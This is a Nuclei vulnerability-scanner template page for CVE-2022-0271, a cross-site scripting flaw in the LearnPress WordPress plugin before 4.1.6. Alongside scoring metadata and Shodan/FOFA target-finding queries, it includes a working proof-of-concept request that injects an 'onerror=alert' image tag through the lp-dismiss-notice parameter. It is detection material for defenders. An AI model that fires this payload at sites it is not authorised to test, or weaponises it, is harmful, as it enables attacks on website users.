CVE-2022-0271: LearnPress <4.1.6 - Cross-Site Scripting
- Template: CVE-2022-0271
- Name: LearnPress <4.1.6 - Cross-Site Scripting
- Description: WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
- Remediation: Upgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability.
- Severity: medium
- Authors: Akincibor
- Tags: cve2022, cve, wp, wp-plugin, wordpress, learnpress, wpscan, xss, thimpress, vuln
- References: https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271, https://nvd.nist.gov/vuln/detail/cve-2022-0271, https://github.com/ARPSyndicate/cvemon, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2022-0271
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-0271.yaml
- Digest: 4b0a00483046022100dbb963492d3b8c9c787bbdcafdd90115321a26d9d95ffe1738e0573204d714b6022100dc04c7adbfeb19dc22a8081adadcb2fa3b7985cf027e155aba574521497847c6
- Created at: 2022-04-15T14:45:51Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1684
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0271.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01944
- Epss percentile: 0.80717
- Cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
Metadata
- Fofa-query: body=/wp-content/plugins/learnpress
- Framework: wordpress
- Max-request: 1
- Product: learnpress
- Publicwww-query: /wp-content/plugins/learnpress
- Shodan-query: http.html:/wp-content/plugins/learnpress
- Vendor: thimpress
Products
| Product | Indexed | Url |
|---|---|---|
| thimpress:learnpress | yes | /v1/products/thimpress/learnpress |
Labels
- Name: WordPress LearnPress - Stored XSS
- Impact: Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement.
- Remediation: Update to version 4.1.6 or later.
- Vulnerability type: stored_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs to send a crafted AJAX request
- Labels source: projectdiscovery
- From cve: CVE-2022-0271
```yaml
id: CVE-2022-0271
info:
name: LearnPress <4.1.6 - Cross-Site Scripting
author: Akincibor
severity: medium
description: |
WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
Upgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271
- https://nvd.nist.gov/vuln/detail/cve-2022-0271
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0271
cwe-id: CWE-79
epss-score: 0.01944
epss-percentile: 0.80717
cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: thimpress
product: learnpress
framework: wordpress
shodan-query: http.html:/wp-content/plugins/learnpress
fofa-query: body=/wp-content/plugins/learnpress
publicwww-query: /wp-content/plugins/learnpress
tags: cve2022,cve,wp,wp-plugin,wordpress,learnpress,wpscan,xss,thimpress,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"dismissed":"xxx<img src=x onerror=alert(document.domain)>"}'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
digest: 4b0a00483046022100dbb963492d3b8c9c787bbdcafdd90115321a26d9d95ffe1738e0573204d714b6022100dc04c7adbfeb19dc22a8081adadcb2fa3b7985cf027e155aba574521497847c6:922c64590222798bb761d5b6d8e72950
```